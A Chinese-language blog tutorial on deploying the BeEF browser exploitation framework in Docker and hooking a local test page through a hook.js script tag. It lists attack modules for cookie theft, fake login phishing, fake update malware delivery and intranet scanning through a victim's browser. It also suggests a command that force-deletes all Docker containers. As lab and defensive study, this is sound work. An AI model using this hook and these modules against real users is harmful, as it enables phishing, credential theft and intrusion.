📌 前言
最近在研究 XSS 漏洞的深层利用,决定搭建一个 BeEF (The Browser Exploitation Framework) 平台。BeEF 是一个强大的专注于 Web 浏览器的渗透测试框架。
由于 BeEF 环境依赖较多,直接源码安装容易出错,所以我选择了 Docker 方式搭建。过程中踩了不少坑(密码报错、端口冲突、上线失败),特此记录最终的完美解决方案。
🛠️ 环境准备
- Windows 10 / 11 (安装了 Docker Desktop)
🚧 遇到的坑与解决方案
1. 默认密码启动失败
直接使用 docker pull beefproject/beef 并运行,会报错退出:
[!] ERROR: Default username and password in use!
原因 :BeEF 出于安全考虑,强制要求修改默认的配置文件 config.yaml 中的密码。
尝试:试图通过 -e 环境变量修改无效,必须修改文件内容。
2. docker commit 导致无法启动
尝试进入容器修改密码后 commit 成新镜像,结果再次运行时没反应。
原因:commit 操作意外保存了 /bin/bash 作为启动入口,导致 BeEF 主程序未运行。
✅ 最终完美方案:Dockerfile 构建
为了一劳永逸地解决密码修改、启动入口和端口配置问题,推荐编写一个 Dockerfile 来构建专属镜像。
第一步:创建工作目录
新建一个文件夹(如 beef_docker),在里面新建一个名为 Dockerfile 的文件(无后缀)。
第二步:编写 Dockerfile
将以下内容填入文件:
FROM beefproject/beef
# 1. 修改默认账号密码 (将 "your_password" 替换为你想要的强密码)
# 注意:passwd: 后面必须有一个空格,"beef" 前面也要有空格
RUN sed -i 's/passwd:"beef"/passwd:"your_password"/' config.yaml
# 2. (可选) 如果你打算修改外部映射端口(例如用 3001),建议修改 public_port
# 如果你还是用 3000 端口,下面这行可以注释掉
# RUN sed -i 's/public_port:"3000"/public_port:"3001"/' config.yaml
# 3. 强制指定启动入口,防止 commit 带来的 entrypoint 丢失问题
ENTRYPOINT ["./beef"]
第三步:构建并启动
在当前目录下打开终端(CMD/PowerShell),执行:
# 1. 构建镜像
docker build -t beef-custom .
# 2. 启动容器 (确保本地 3000 端口未被占用)
docker run -d -p 3000:3000 --name my-beef beef-custom
提示:如果 3000 端口被占用,请先使用
docker rm -f $(docker ps -aq)清理冲突容器,或者修改 Dockerfile 中的public_port后映射其他端口。
💻 使用指南
1. 登录后台
- 管理地址:
http://localhost:3000/ui/panel - Hook URL:
http://localhost:3000/hook.js
2. 模拟受害者 (上线测试)
创建一个 test.html 文件,插入钩子代码:
<!DOCTYPE html>
<html>
<head>
<title>XSS Test</title>
<!-- 引入钩子 -->
<script src="http://localhost:3000/hook.js"></script>
</head>
<body>
<h1>BeEF 测试页面 </h1>
</body>
</html>
⚠️ 关键点:不要直接双击打开 HTML (file:// 协议),可能会因为跨域策略导致不上线。建议用 Python 开启临时服务:
# 在 html 文件目录下运行
python -m http.server 8000
然后访问 http://localhost:8000/test.html。
此时,BeEF 后台的 Online Browsers 列表应该会出现你的浏览器 IP。
🔍 BeEF 模块解析
在后台选中受害者后,可以在 Commands 选项卡看到各种攻击模块。
- 为什么大部分是绿色的?
绿色代表该模块在当前浏览器适用。通常通过标准 JS API 实现(如获取 Cookie、页面重定向、弹窗),并非利用系统溢出漏洞,所以现代浏览器普遍“中招”(不止绿色的模块可以使用)。 - 推荐尝试的模块:
- Browser -> Hooked Domain -> Create Alert Dialog:弹窗测试,验证控制权。
- Social Engineering -> Pretty Theft:伪造 Facebook/Google 登录框,钓鱼窃取密码(实战中危害最大)。
- Social Engineering -> Fake Flash Update:诱导下载恶意文件。
- Network -> Ping Sweep:利用受害者浏览器作为跳板,扫描其内网存活主机。
📝 总结
搭建 BeEF 最大的难点在于 Docker 的配置修改 和端口映射逻辑。通过编写 Dockerfile,我们可以将配置固化,避免每次重启都要手动修改的麻烦。
BeEF 揭示了 XSS 漏洞不仅仅是弹个窗那么简单,结合社会工程学和内网探测,它能成为极其危险的攻击入口。作为防御者,做好输入过滤和 CSP 策略至关重要。